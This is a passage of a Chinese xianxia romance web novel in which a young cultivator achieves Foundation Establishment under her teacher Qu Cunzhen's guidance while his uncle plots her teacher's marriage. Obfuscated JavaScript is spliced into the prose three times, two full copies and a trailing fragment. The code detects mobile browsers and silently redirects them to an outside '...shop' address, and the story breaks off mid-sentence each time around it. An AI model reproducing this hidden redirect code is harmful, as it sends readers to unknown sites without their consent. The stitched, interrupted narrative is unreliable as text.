他心里这样想,面上却不露,只是点了点头,语气比方才又温和了几分:“你有心了。等澜儿回来,我让人转交给她。” 徐微月起身。 “那便劳烦家主了。”她行了个礼,“我先回去了,师尊那边还有事。” 曲清波站起来送她到门口,看着她的背影消失在雪地里,他才收回目光,负着手,在原地站了一会儿。 风从廊下穿过来,带着一丝桂花糕的甜香,还没散尽。 他忽然想,若藏舟娶的是徐微月,曲家上下,大概没有人会不点头。就是不知此女命格如何…… 想到此处,他忽然转身往书房走,步子比方才过来快了许多,一副急着去做要紧事的样子。 ~ 修炼室里安静极了。 少女仍在读书,发髻上的天珠一直温温地发着热。 她读着读着便忘了时辰,也忘了自己在哪里,只觉得书中的字一个个地从书页上浮起来,争抢着往她脑子里走。 时间过得飞快,转瞬便到了午正初刻。 门外传来轻轻的叩门声。 “姑娘,该用午食了。” 少女抬起头,恍惚了一下,才从那些字里抽身出来。 她应了一声,把书合上,压在纸旁边。 门推开,两个侍女端着托盘进来,两素一荤搭配一碗清亮的汤,还有一碗粒粒饱满的白米饭,分量适中,看着便十分可口。 少女看了一眼,“劳烦二位姐姐,把早上我那份没吃的早膳热来给我就好,这桌午膳,你们二人分着吃吧。” 两个侍女对视一眼。 在曲家,从未有过弟子将自己的膳食让给侍从的规矩,更无人会这般执着于吃一顿剩下来的早膳。 迟疑片刻,穿青的侍女对同伴道:“长老说了,这些小事听姑娘的,咱们照做便是。” 说着,一人留下伺候,另一人快步去将早上的早膳热好,端了过来。 少女坐下,低头吃起来。她吃得快,却不急,竟真的将一整份早膳吃得干干净净,连碗底的粥渣都不曾剩下。 两名侍女眼里满是诧异。 少女放下碗筷,说了句“多谢”,便又低下头去翻书。 两人收拾了碗碟,轻手轻脚地退出去,把门带上。 走到廊下,穿青的侍女轻轻吐了口气:“我还以为她早上说的那些话是客套,万没想到……” 穿藕荷的侍女回头看了一眼紧闭的门,压低声音。 “我原先也以为她是装装样子。没想到……” 她顿了顿,一副怜惜的口吻叹道:“咱们在曲家这么久,见过的子弟不计其数,仙家弟子不似你我凡人,他们生来便锦衣玉食,五谷不分,哪会懂得一粥一饭来之不易的?想来姑娘也如你我一般出身贫寒,才这般爱惜粮食。” “可不是。那些世家子弟,哪个不是吃一半扔一半,谁会把吃不完的早膳留到中午?” “说起来也羡慕姑娘,五长老对她真是上心。你看这桩桩件件安排的,除了课业,就连梳头吃饭都惦记着。这般优待,可真是从未见过的……” “她是五长老的关门弟子,五长老又没有别的弟子,优待一些是应该的。” 两人低声说着,脚步渐渐远去。 午后的修行时光依旧过得飞快,不知不觉便到了酉初三刻。 轻轻的敲门声准时响起。 少女抬起头,恍惚了一下。看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500393|202699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼手边的书册,已经翻过去大半,比她预想的快得多。 “姑娘,酉初三刻了,五长老有吩咐,今日修行到此结束,请姑娘用晚膳。” 晚膳依旧摆在小几上。 一碟清炒时蔬,一条葱烧鲫鱼,一小盘酱牛肉,还有一碗热腾腾的菌子汤,配着一大碗米饭。 分量不多不少,每样都合她口味。 她安安静静吃完,起身告辞,准备归家。 走出修炼室,大雪依旧未歇,漫天雪絮飘洒,冷风瞬间将修炼室内积攒的暖意冲散。 院中的老梅上压满雪。 她伸个懒腰,今日未去景明堂进学,在玉垒云窝了一整日,感觉分外好。 想到接下来的一个月也都不必去景明堂,感觉就更好了。 她往外走走了几步,穿青的侍女追上来,手里挽着一件鸦青色的斗篷。 “姑娘且等等,”她把斗篷抖开,轻轻披在少女肩上,“姑娘,雪大天寒,披上斗篷再走,免得冻着。” 少女低头看了看斗篷,鸦青色的缎面,质地厚实柔软,领口镶着一圈雪狐毛,软软的。 她微笑着对侍女道谢,拢了拢斗篷,把兜帽戴好,迈出门去。 雪落在兜帽上,肩上,悄无声息的,斗篷内暖烘烘。 她走得很快,脚步却轻盈,踩在雪地上咯吱咯吱的,像踩着一地碎玉。 今日诸事顺遂。 课业读了大半,比预想的快。天珠一直温养着灵脉,比昨日感觉又好了许多。 至于修炼,她的老师已经非常善解人意地把什么都安排好了,她只需照着那张纸上的字一条一条地做下去,按照他的指引思索,解决。 进益很大。 而且,他说她三十日后筑基,他说的那么肯定。 她的步伐不知不觉愈发轻快起来,双脚从雪地里拔出来又踩下去,竟渐渐踩出些节奏来。 走动间,兜帽边缘轻轻晃动,她抬手想按一下,手指刚碰到帽檐,忽然顿住。 一丝淡淡的香气悄然漫入鼻尖,清冽又温润。 这香气……上次在修炼室,曲存真站在她身后低头看她翻书的时候,她闻到过。 是一种很轻很宜人的味道,像是落了新雪的梅。 周身的风雪仿佛瞬间静止。 此刻,那香气正包裹着她,从头发丝到脚后跟。 她站在雪地里,忽然不动了。 风从山那边吹过来,兜帽上的雪狐毛窸窸窣窣地舞动着,轻轻摩挲她的眼皮、鼻尖与下巴,幽幽痒意从脸上漫开,往下走,走到喉咙,胸口,再到心口,令心跳快了一些些。 过了一会儿,她渐渐回过神,继续往前走。 玉垒云院子门口,两个侍女望着她的背影,低声低语。 “你好大的胆子,怎敢把长老的斗篷拿给她穿?”穿青的侍女压低声音。 穿藕荷的侍女摇摇头,“我哪敢擅自做主。长老昨日就吩咐了,说今日雪大,让姑娘返程时披上,还特意叮嘱要把斗篷烘得暖和些。” 穿青的侍女没有再说话,只是看着那道裹在鸦青色斗篷里的身影,一步一步地走远。 少女踏着积雪回到自己的小院,推开院门,走到丽娘面前。 雪已经把枝丫压得更低了,低到她不用踮脚就能够到。 她把额头轻轻抵在树干上,张开臂膀将它抱住。 树皮粗粝,冰凉,贴着眉心淡梅的位置,却似乎并不觉得冷。 兜帽从头上滑落一些,露出她的发顶、她系着发带的两个发髻和半边被雪狐毛蹭得微微泛红的脸。 未被兜帽遮住的嘴角,微微地向上翘着。 20. 异象 曲清波神色匆匆地折返书房。 翟夫人正从后院出来,手里端着一碟切好的果子,刚要去给曲清波送。 走到回廊拐角,便见他大步流星地从对面过来,神色急切。 她愣了一下,侧身让了让,他竟没看见她,径直从她身边走了过去。 “火急火燎做甚,尾巴叫人给点啦?”她端着碟子跟上去,声音不小,他却像没听见,头也不回地进了书房。 翟夫人站在门口,迟疑了一下,还是跟了进去。 曲清波已经在书案前坐下了,正从抽屉往外拿那只木匣。 匣子打开,十二枚灵棋一枚一枚地取出来,摆在棋盘上,动作利落,比平时快得多。 翟夫人把果碟放在茶几上,看了他一眼,又看了一眼棋盘。 “你不是早上才卜过一卦?” 曲清波没有抬头,手指已经凝出灵光,点在棋盘中央。 “你今日不是已经卜过一卦了吗?”翟夫人又重复一遍,“玄道中人,素来讲究一卦定音,一日不重,今日怎会破例多卜一卦?” 曲清波终于抬起头,看了她一眼。目光却亮,嘴角甚至还带着一点她看不太懂的笑意,“今日例外。必须再卜一卦,方能定心。将明日的一卦挪到今日便是。” 翟夫人没有再问。 她退到一旁,在椅子上坐下来,看着那些灵棋在棋盘上缓缓移动、交错。 她看不懂那些卦象,但她看得懂曲清波的脸。 方才从花厅回来时,他脸上还有一丝未散的忧色,此刻却已经被一种她许久未见的期待取代了。 受他感染,她一时也竟好奇起来。 灵光散去。 棋盘上只剩一片沉静的青灰色,十二枚棋子各自落在该落的位置,纹丝不动。 曲清波愣住了。 他定睛望向棋盘中的排布,眼睛一眨不眨,像是怕看错了,又凑近了些,仔仔细细地看了半晌。 脸上的凝重逐渐消失,取而代之的是难以置信的诧异,片刻后,惊喜便顺着眉梢蔓延,连眼角的皱纹都舒展开来。 翟夫人见他从愣住到喜形于色,连忙上前一步,轻声追问:“这是……卦象有什么变化吗?” 曲清波缓缓回过神,抬手捋了捋颌下的短须,脸上满是眉飞色舞的笑意,声音洪亮,“大吉!” 他指着卦盘,“你看,这卦逢六合,主万事和谐,无灾无难。更难得的是,卦象显凤凰于飞,和鸣锵锵,乃是姻缘美满之兆,往后家宅也会兴旺顺遂,再好不过了!” 翟夫人见他情绪高涨,不由得心头一动,“你这一卦……竟是卜的姻缘?” 曲清波捋着胡子,没有否认。 翟夫人又问:“给哪两个人卜的?” 曲清波小声,“咱们藏舟,和徐微月。”也不知道自己为何要压低声音。 翟夫人拿手指戳他一下,“你少乱点鸳鸯谱!藏舟已有姻缘,你这是作甚?” “那是姻缘么?那是孽缘!大凶的姻缘,要它作甚!” “那藏舟自己喜欢,他难得对谁上心,你就不能由着他?藏舟自小有主见,你还能左右他娶徐微月不成?再说了,你管得着么?” “哼,由着他,曲家怎么办?我怎么管不着,我是他亲舅舅,他父母不在了,我就是他爹!”曲清波把灵棋匣子放回抽屉,拍了拍手,“夫人莫管,我自有办法。” ~ 一晃十余日过去。 少女每日卯正初刻准时动身,去玉垒云用早食,然后开始修炼。 玉垒云的雪时落时停,檐角的积雪冻成冰棱,却挡不住庭院里渐浓的暖意。 两个侍女与她渐渐熟了,穿青的那个叫春霜,穿藕荷的叫云栽,都是鹿鸣城的凡人。 少女不爱说话,也不挑剔,更加不会为难人。 春霜为她梳头,她便乖乖坐着,然后说一声“多谢”。云栽端来热茶,她必双手接过,饮尽后再双手把空盏递回去。 起初两人只是奉命行事,五长老吩咐了,便尽心伺候。可十几日下来,便有些不一样了。 暖炉总是烧得旺旺的,饭菜也按着她的口味不断调整,就连梳头时都记着要轻轻的。 春霜有时望着她安静的侧脸,便会觉得这姑娘小小年纪,好像一棵无人照看的小树,自己不声不响地长着,令人心生怜惜。 少女本人却丝毫没有这种意识,她只觉得在玉垒云的这些日子,平心顺意得像是一场久违的美梦。 就在这平静中,一丝异动正悄然滋生。 第十八日时,她忽然察觉身体不对劲。 是一股说不清的胀闷感,从灵台、灵脉里一点点往外顶。 她以为是久坐气滞的关系,便起身推开窗,凛冽的冷风灌进来,那股胀闷稍缓和了些。 只是,当她重新坐回蒲团,翻书不过几行,那感觉又涌了上来。 这次是闷热的气流,自灵根而起,过膻中,上灵台,在眉心打了个旋,又沉沉往下坠。 她心里突地一跳。 她……不会是要筑基了吧? 不行,绝不能在此时! 她的确渴望筑基,可此刻无人护法,仓促突破不会有任何好处。 可那股闷胀在体内盘旋不休,像困鸟在胸腔里扑腾,怎么压都压不住。 灵府中,素遂心指尖凝着的灵力迟迟未收。 她清楚少女在强行压制,也明白少女的恐惧,怕无人护法,筑基功亏一篑。 但她自有盘算。 只要借着这股筑基灵气冲破缚阵,她便能亲自为少女护法,既能提前筑基,又能脱困,一举两得。 她必须再推少女一把。 到第二十日,少女睁开眼的瞬间,便知自己再也压不住了。 那股胀感从凌晨便开始翻涌,她硬撑了一个上午,可灵力依旧疯涨,如同决堤的大河,再也堵不住。 灵力冲破最后的桎梏,如奔涌的江河顺着灵脉狂窜,周身灵气剧烈波动起来。 下一刻,一缕淡金色的光芒自玉垒云屋顶升起,周遭天地灵气被牵引,齐齐朝着修炼室汇聚。 烟云翻涌,丝丝霞光穿透云层扑向大地。 这是筑基才会引动的天地异象,虽规模尚小,却足以惊动整个曲家。 各处弟子纷纷驻足。 炼气弟子们仰头望向玉垒云的天空,满眼羡慕,低声议论着。 “快看,快看!” “是筑基异象!有人要筑基了!” “真好啊,不知是哪位同门即将突破瓶颈……” 也有两三个炼气弟子撇了撇嘴,凑在一处压低声音嘀咕。 “哼,指不定是靠着哪位长老的庇护,吞了多少天材地宝堆出来的,没什么了不起。” “看样子是在玉垒云,那是五长老的居所啊。” “先别羡慕得太早,等着瞧吧,说不定是一场空。” 正在演武场旁上修炼课的曲澜与曲澈,也仰起头看向天际的霞光。 曲澜眼睛瞪得溜圆,“阿澈……那个方向是藏舟哥哥的玉垒云?” 曲澈点头说是,“玉垒云一向只有藏舟哥哥一人居住,也不让弟子们进入,怎么会有人在那儿引动筑基异象?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500394|202699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连他们俩都不敢擅自往玉垒云跑。 曲澜反应过来,登时极为不悦,“是谁,竟敢在玉垒云筑基!叫我知道,他死定了!” 相比炼气弟子,曲家的高阶弟子见惯了这般场面,已十分淡定。 筑个基而已,不说筑基年龄比肩五长老,至少也该比得上徐师姐吧,若能如此,那才值得另眼相看。 徐微月正在三长老的丹房里整理新送来的药草。 窗外忽然亮了一下。 她抬起头。 光亮大盛,像日光冲破云层的刹那。 她快步走到窗边,斜探出半个身子。 竟是筑基异象,来自玉垒云的方向。她的手指搭在窗棂上,微微收紧。 书房内,曲清波正捻着灵棋复盘卦象,忽觉灵气骤乱,指尖的灵棋猛地震颤了一下。 这是? 族中有小辈要筑基了? 他心中一喜,快步走到窗边,可看清灵气汇聚的方向是玉垒云时,脸上的笑意瞬间敛去。 少女耳中传来闷闷的雷鸣,每一声都让体内灵力跟着翻腾,灵台发麻。 她慌乱极了。 曲存真不在,她不该在此时突破。 她把一切都搞砸了。 她坐在蒲团上,试着按曲存真所教的方法引导灵力,可无人护法定息,灵息彻底紊乱。 越是慌乱,灵息越是溃散,整个人一时陷入极度的恐慌,完全控不住暴走的灵力。 天上的筑基异象也随之动荡起来。 灵气快速退散,霞光隐去,天地灵气渐归平静,方才的异象仿佛一场幻影。 亢奋的炼气弟子们转为失落与惋惜。 “怎么回事?异象怎么散了?” “看样子,这位同门怕是根基不足,撑不住筑基的灵气冲击了……” “空欢喜一场,哎!” 方才那两个心存嫉妒的弟子,见状眼底飞快掠过一丝暗喜,嘴上却也跟着叹了口气,装模作样地摇了摇头。 曲清波望着消散的异象,紧皱的眉头却并未舒展开。 他虽不喜此女,却也知晓筑基对一名修士的重要性,这般仓促失败,以她那身残灵根,基本上就废了。 春霜和云栽焦灼地守在修炼室外,她们虽是凡人,却也知道此时小姑娘情况凶险。 徐微月望着那片重新沉寂的天空,眼底掠过一丝轻浅的惋惜。 素遂心凝聚神识,借着暴走的灵力撞向缚阵。 很快,阵纹微微松动,眼看便能破阵而出。 少女却已濒临崩溃,脸色惨白,已然再也掌控不住灵力暴动。 素遂心知她已无法自主完成筑基,当机立断令她陷入昏睡,自己分出大半神识掌控这具身体,收拢紊乱的灵力,只留少半神识继续狠狠冲撞缚阵。 分心二用终究力道分散,冲阵的速度大大放缓。 即便如此,缚阵的阵纹也已被撞得微微开裂。 脱困近在眼前。 便在此时,一道磅礴凛冽的神识席卷整个玉垒云,压过所有紊乱灵气。 素遂心冲阵的神识被震断,缚阵上的根根裂纹极快速地重又修复。 下一刻,一股疾风猛地撞开修炼室的门,卷得几上、书架上的书册和纸页漫天狂乱翻飞,哗哗作响。 风雪气息与清冷灵力一同涌入,一道白衣身影如惊鸿破空,自门外一闪而入。 一片凌乱的光影之中,曲存真已落在她面前的蒲团上,轻飘飘坐下。 近在咫尺。 狂飞的书页缓缓落定。 素遂心一时傻了眼。 21. 筑基 素遂心在心里超大声地骂了句: 狗东西,竟然强行出关! 却不得不压下烦躁,立刻敛去所有锋芒,仓促撤回对少女身体的掌控,不敢再有半分动作。 神识归位的刹那,少女只觉一阵天旋地转。 整个人尚深陷在无边的惶恐与无措之中,心里只剩一个念头: 真的搞砸了。 下一刻,却有一道低沉平稳的声音落入耳中。 “不要怕。” 这三个字如一道定音鼓,瞬间压下她所有恐慌。 她猛地睁开眼,便见身前近在咫尺的地方正坐着曲存真。 他周身尚带着未收敛的寒气,眉眼间亦深笼寒霜,看向她时,那股寒意却悄然退了下去,化为柔和。 他抬手结印,布下一个护法结界,隔绝所有干扰,指尖重引天地灵气。 灵气听他召唤汩汩注入少女体内。 “闭眼,凝神,守心,随我引气,归于灵台。” 少女听话地闭上眼,循着他声音的指引进行调整。 随即,她感受到他温和的灵力,一点点托住她溃散的灵脉,一股安稳的暖意瞬间将她包裹。 曲存真指尖微悬,灵力如丝如缕,将她四处冲撞的灵息一一收拢、理顺。 他的灵力在她的灵根处停住。 “感觉到了吗?”他问。 少女点点头。 她感觉到他的灵力贴在她的灵根上,温柔地覆在表面。 “你方才做的是对的。”他的声音从对面传过来,不紧不慢,“灵气从灵台起,经膻中,过丹田,入灵根,这是筑基的正途。现在,再走一遍。” “从灵台起,往下。你那么聪明,大胆些,我就跟在后面。” 她咬咬牙,引着灵力往前,膻中那处关卡微微一震,灵力从缝隙里挤过去,稳稳地落在丹田。 她长长地呼出一口气。 “做的不错,继续。”他说。 她已经完全没有了慌乱,又走了一遍。这一次比方才快了些,也比方才稳了些。 灵力进入灵根,像一条终于找到河道的溪流,不急不慢地淌着。 “很好,再来。”他徐徐引导。 她便再来一遍,这一次更稳了,不仅没有慌乱,甚至游刃有余。 “现在,我要退出去了,剩下的你自己来。”他缓缓撤回神识,温柔抽身。 …… 室外,人群开始散开,有人已经低下头,有人转过身,有人轻轻叹气。 那光灭得太快了,快到他们还没来得及替那位同门捏一把汗。 “可惜了。”有人小声说。 就在这时,天空却再度亮了起来,一道光从玉垒云冲天而起。 霞光冲天,亮得刺眼。 云气从四面八方涌过来,厚厚地堆积在玉垒云上空。 灵气如同潮水般涌来,在玉垒云上空形成一道巨大的光柱,稳稳地立在天地之间。 所有人都愣住了。 方才还在往屋内走的人停下脚步,仰起头。叹气的人张着嘴,忘了合上。 所有人都一瞬不瞬地看着玉垒云升起的光柱。 “异象……卷土重来了……”不知道是谁先开口,声音很轻,像在说梦话。 “重来了!成了!”他大喊一声。 这一声喊破了寂静,曲家顿时炸开了锅。 “看吧,我就说能成!” “这异象也太厉害了,我师兄筑基的时候可没这么亮。” “是五长老教出来的吧,能一样吗?” 春霜和云栽站在院中,仰头看着那道冲天而起的光柱,忽然红了眼眶。 曲澜站在人群后面,她方才已经走了几步,听到身后有人喊“成了”,脚步便定在了原地。 她慢慢转过身,仰起头。 她步入炼气那年,也是冬日。 当时周围都是道贺的人,她却一个都不稀罕。藏舟哥哥自然也送了贺礼,还对她说了一句“不错,再接再厉”。 她以为那就是很了不起的了。 可她现在才知道,原来有人可以在他的玉垒云筑基。 她还没能筑基,她今年十七岁,要是二十岁之前还不能筑基,她以后看上去就要比藏舟哥哥老了。 那道光柱太亮了,亮得刺眼。 曲清波满面怒色,手中灵棋子滚落棋盘,发出清脆一响。 他只一瞬便辨出护法的气息来自曲存真。 混账!他竟强行破关而出! 这般行径,简直是昏头了! 此刻亲眼见曲存真做到这般地步,只感觉那卦象竟是真的再准不过。 光柱重新冲天而起的时候,三长老正从内室出来。徐微月站在窗前,转头唤了声师尊。 三长老眯着眼,望着玉垒云方向,“哦?竟是去而复返,异象更盛,这是有人在后方力挽狂澜了呀。” 她略一凝神,便辨出灵气源头与护法气息,看向徐微月笑道:“能在筑基将溃之际出手稳住局势,不愧是我们的五长老。” “倒是不知藏舟何时悄悄收了弟子。”她看了徐微月一眼,“这孩子福气是好,有藏舟亲自护法。” 徐微月点点头。 三长老又随口问道:“不知藏舟这位亲传弟子,年岁几何?能有这般进境,实属难得。” 徐微月轻声答道:“十七。” 三长老闻言微讶,眉梢一扬,连声赞道:“十七?这般年纪便筑基成功,比同代子弟快了不止一筹,根骨定然极佳。也难怪藏舟会破例收徒了。” 微月垂眸,面上依旧平静,心底却微微起了波澜: 是啊,十七岁筑基,比她当年还要早了两年。 …… 修炼室内,灵气渐渐敛去,少女灵台内充盈安稳,灵息顺着灵脉顺畅流转。 现在,她正式踏入筑基之境。 在巨大的喜悦过后,她慢慢睁开眼。 曲存真正跪坐在对面的蒲团上,两人双膝几乎相贴,近得能看清他黑长的眼睫。 今日才是第二十日,离他计划好的出关还有十日。 他是强行出关的。 目光轻轻掠过他的眉眼,又飞快移开,落在两人之间极近的空隙中。 可鼻尖却躲不开他的气息。 像老梅枝头新落的雪,寒潭平静水面飘着的梅瓣,从鼻尖漫过,又从耳后绕回来,将她整个人裹在其中。 心像一泊安静的湖,不知被谁投进一颗小石子,水波一圈一圈地荡开,轻轻浅浅,却久久不散。 “我搞砸了。”她低着头,声音闷闷的,“打乱了你的计划。” “筑基成功了。”他的声音从头顶传过来,语气温和,“不算搞砸。” “可我还是打乱了你的计划。” “没什么。计划从定下那日起,便要做好被打乱的准备,不必有心理负担。” 她咬了咬下唇,鼓起勇气抬头看了他一眼,瞥见他嘴角有一点弧度。 “可是……你强行出关了,会不会对你的修为有影响?” 他没有立刻回答。 她听见他轻轻笑了一声。 “不是跟你说过,那还算不得正经闭关?出来又如何,接着再回去便是。孰轻孰重,我还不至于分不清。” 语气带着几分无所谓的散漫,以及不容错辨的自负。 这话像另一颗石子,再度砸进她心里的湖泊,涟漪瞬间扩散开来。 她的心在胸腔里跳得像一只受惊的雷鸟,脸颊泛起一丝不易察 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“她已筑基,日后便不再需要食用五谷。”他一顿,目光往身后扫了一眼,又收回来,“当然,除非嘴馋,偶尔吃一次也无妨。” 春霜和云栽对视一眼,忍不住偷偷弯了嘴角。 她们不知道“嘴馋”这两个字怎么会从五长老的嘴里说出来的,但知道他今日好像心情很好。 “恭喜姑娘成功筑基,往后便是真正的修士了!”两人一叠声地道喜,说完便要拎着食盒离开。 少女忙起身:“多谢二位姐姐。劳烦你们特意准备,今日的早食我还是吃了吧,明日起,便不必再为我准备吃食了。” 春霜和云栽摆着手说“应该的应该的”,又说“姑娘客气了”,已经基本了解她的性子,肯定是不愿浪费这些吃食的,连声说好。 她们把食盒里的东西一样一样摆在几上,粥还烫着,包子冒着热气,小菜还是她爱吃的那些。 她们对视一眼,笑着退了出去。 曲存真靠在门框上,看着少女端起粥碗。 她吃得比平时要慢,这大概是她在玉垒云吃的最后一顿早饭了。 曲存真在一旁缓缓开口叮嘱,“筑基之后,诸多习性都要慢慢适应。首先便是身体与往日不同,不易疲惫,往后也无需再睡那般久。” 她抬起头,嘴里还含着半口包子,两颊撑得鼓鼓,一双眼睛睁得大大,认认真真地点头。 双螺髻上那两颗天珠随着她的动作轻轻晃荡,坠出细碎的微光。 是从未见过的毫无防备、软嫩鲜活的模样。 曲存真忽然忘了自己接下来要说什么。 她对自己不经意间流露的可爱全然不觉,咽下口中食物,微微偏过头,“还有么?” 曲存真回过神,“身体的诸多感知,有的会变得迟钝,有的则会愈发灵敏。” “哪些会迟钝,哪些会灵敏?”她追着问,眼神里带着几分好奇。 “这些你日后自会慢慢体会,便不与你多说,留几分惊喜。” 她愣了一下,他又开口了。 “还有一事。你的容貌,自此便会停留在此刻,不会再有任何变化。” 她微微一怔,眼底飞快掠过一丝失落。 “那……我岂不是不会再长大了?” 曲存真看着她。 “是你最好的模样。” 她一时尚未听出他意有何指,待得明白过来,心猛地一颤,毫无预兆地急速跳动起来,连握着碗筷的指尖都微微发烫,发麻。 心跳得太快了,快到她怕他听见。 22. 静好 消息传得飞快。 第二日,玉垒云那位十七岁筑基的弟子便成了曲家最热门的话题。 一时之间,议论声传遍各个角落,掀起不小的轰动。 十七岁筑基,便是在人才济济的曲家,也算得上是凤毛麟角,足以列入天才之流。 起初还有弟子猜测,这般天赋究竟是族中哪位隐世的小辈,可当大家知道竟是五长老曲存真新收的弟子时,所有的惊讶都化作了一句“原来如此”。 “怪不得能十七岁筑基,竟是五长老的弟子!” “可不是嘛,五长老十二岁筑基,天赋冠绝全族,能被他看中的人,定然差不了!” “五长老性情淡漠,从不收徒,如今竟破例收了这么个小弟子,可见是真的看中了。” 没人质疑这份破例,毕竟,能被曲存真这般顶尖天才收入门下,本身就足以证明少女的不凡。 只是,当“素遂心”这个名字传到众弟子耳中时,大多数人都面露茫然。 尤其是那些日日去景明堂上课的炼气弟子,更是彼此对视,满脸疑惑。 “竟然是我的同窗?” “你见过没有?” “没有啊。” “素遂心?从没听过这个名字啊?” “就是那个——”旁边有人接话,可说到一半也卡住了。 “我想起来了!”一个扎着马尾的女弟子拍了拍手,“就是那个总坐在角落、不怎么说话的。” “还是没印象……” 零碎的印象拼在一起,根本凑不出一个完整的模样。 景明堂的夫子正在收拾书册,听到“素遂心”三个字,手里的书顿了一下。 那个上课从不听讲、在桌下比划手诀被他告状告到家主那儿去的丫头?夫子沉默了一会儿,默默把书放回架上。 曲澜一口早饭都没动,气鼓鼓地冲到曲清波书房门口,连门都忘了敲,“砰”地一声推开门。 曲清波正坐在书案前,手里捻着灵棋,琢磨今日一卦的卦象。 抬眼看见曲澜站在门口,脸颊涨得通红,眼眶也是红的,满脸气呼呼,被她这副模样惊了一下,便招手叫她过来。 “怎么了这是?澈儿又惹你了?” 他与曲存真的母亲曲清溪相差不过两岁,在子嗣上却比这个姐姐艰难万倍。等到曲存真一百岁,他才得了一对龙凤胎。 十分不易,因而也十分宝贝。 “不是他。”曲澜的声音又急又冲,带着几分哭腔,“爹,素遂心是谁?” 曲清波捻捻短须,语气尽量温和,“她啊……是你表兄新收的弟子。” “弟子?”曲澜闻言,火气更盛,往前又凑了两步,“藏舟哥哥什么时候收了弟子,我怎么不知道?” “……前不久的事。” “前不久?”曲澜的声音更急了,鼻尖微微泛红,满是委屈与不甘,“她凭什么做藏舟哥哥的弟子?她又不姓曲!藏舟哥哥不教我和阿澈却去教一个外人,他是不是讨厌我们?” “你这孩子,胡说什么呢。”曲清波无奈地摇了摇头,“这却是冤枉藏舟了,他这一生大多数日子不是在历练就是闭关突破,连自己的修行都顾不过来,哪里分得出身来指点你和澈儿?” “可他现在出关了啊!”曲澜急得跺脚,“他已是元婴后期的修为,短时间内也不会再闭关了,为什么撇下我和阿澈不指点,却要去指点一个外人?” 曲清波被她说得一愣,“说的也是……” 见他这般说,曲澜更委屈了,“曲家这么多有天赋的弟子,凭什么要收她?他是曲家的长老,难道不应该一视同仁么?凭什么把心思都花在一个外姓人身上?” 曲清波看了她一眼。女儿站在面前,下巴微微扬着,眼眶还泛着红,却硬撑着不肯落下半滴泪,一副“你不给我个说法我就不罢休”的模样。 他心里叹了口气,这丫头,哪里是在替曲家的弟子鸣不平,分明是在替自己鸣不平。 不过,这丫头说得也不是没有道理。 曲存真出关这些日子,除了跟他吵了几架,就是在玉垒云教那个丫头。 他是曲家长老,按理说该多照拂族中子弟,如今却只破例收了个外姓弟子,还这般上心,难免让族中小辈多想。 他皱着眉,指尖无意识地摩挲灵棋,忽的眼珠一转,一个主意悄然冒了出来。 ~ 玉垒云。 今日天光放晴,暖融融的日光穿透云层,洒在庭院的积雪上。 少女用完最后一口早食,曲存真让她去沐浴。 她起身告辞,却被曲存真叫住。 “不必回去,就在玉垒云洗吧。” 她的睫毛轻轻颤了颤,在这里洗……用他的净室?这合适吗? 曲存真却是再淡然不过道:“筑基后新灵脉初成,需得净身养气,去除体内残存的凡俗浊气。我的净室中有净泉,水质清冽,最是温养灵脉,你来回奔波反倒费时。” 又看向一旁候着的春霜,吩咐道:“你去她住处,取一套换洗衣裳过来。” 春霜应了声是退出去,才刚走了几步又被他叫住。 “她箱笼内有一件月白软纱广袖交领襦,一条天水碧多层渐染纱裙,取这一套来。 说完给了春霜两张瞬移符,春霜愕然着去了,不多时便瞬移回来交差。 少女从净室出来的时候,春霜和云栽正在外间等着。 她披着湿漉漉的头发,脸上还带着水汽蒸出来的淡粉色,月白软纱穿在身上,轻飘飘的,像拢着一层薄薄的月光,天水碧的纱裙从腰际垂下,一层一层地晕开,像春日里刚化开的冰。 筑基之后,她周身的灵气不再像从前那样散漫,而是稳稳地收在身体里,又因新筑基的缘故,灵气从眉间、发尾渗出一点点极淡的光。 春霜和云栽看着她,半天没说出话来。 “怎么了?”少女低头看了看自己,以为哪里穿得不对。 春霜先回过神来,声音里带着真切的惊叹,“这身衣裳拿在手里时看着普普通通,没想到穿在姑娘身上如此惊人的好看,姑娘这般模样,竟同下凡的仙子一般了。” 云栽也跟着点头,眼睛亮亮的:“何止是像,分明便是。我可从来没见过这般清灵出尘的仙子。” 少女:“……” 二位姐姐什么都好,就是夸人的话老跟不要钱似的。 春霜和云栽见她这副模样,只觉得可爱,忍不住笑着打趣。 “整个白波九道,不,整个鹿鸣城也找不出比姑娘还仙气的人。” “糟了,到哪里才能寻得到能与姑娘般配的人啊……” “你们在说什么,快别说了。”这般直白的夸赞实在可怕,她提脚便往门外逃去。 刚跨出门,便结结实实撞进一个怀抱,清冽冷香顷刻将她周身裹住。 香味和那件鸦青斗篷上的一样。 少女浑身一僵,脑子一片空白。 春霜和云栽跟出来,见到眼前一幕,对视一眼忍住笑意。这不就寻到了? 曲存真显然也没料到她会这般莽撞冲出来,下意识伸手扶住她的胳膊,稳稳将人托住,才没让她摔倒。 她的下巴正正好磕在他心口处,仰着头,烙饼一样贴在他身上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 